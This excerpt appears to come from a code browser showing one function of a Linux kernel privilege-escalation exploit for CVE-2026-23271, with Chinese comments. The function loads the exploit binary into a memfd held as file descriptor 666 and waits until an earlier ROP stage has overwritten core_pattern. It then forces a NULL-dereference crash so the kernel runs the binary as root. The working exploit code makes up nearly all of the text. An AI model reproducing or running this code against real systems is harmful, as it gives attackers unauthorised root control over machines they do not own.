Function crash

CVE-2026-23271/exploit/exploit.cpp:1722–1733

子进程函数: 等待 core_pattern 被 ROP 覆写后,触发 crash 实现提权 1. 通过 memfd + sendfile 将 exploit 二进制写入 fd 666 2. 轮询 /proc/sys/kernel/core_pattern 直到检测到覆写成功 3. 触发 NULL 解引用 crash → 内核执行 |/proc/%P/fd/666 → 以 root 运行 exploit

// 2. 轮询 /proc/sys/kernel/core_pattern 直到检测到覆写成功
// 3. 触发 NULL 解引用 crash → 内核执行 |/proc/%P/fd/666 → 以 root 运行 exploit
void crash()
{
    int memfd = memfd_create("", 0);
    sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff);
    dup2(memfd, 666);
    close(memfd);

    while (check_core() == 0)
        sleep(1);

    *(size_t *)0 = 0;
}

// 用户态 RCU 同步: 通过 membarrier 系统调用强制所有 CPU 执行内存屏障
// 这确保 RCU callbacks 在已调度过的 CPU 上被处理,加速 RCU 宽限期完成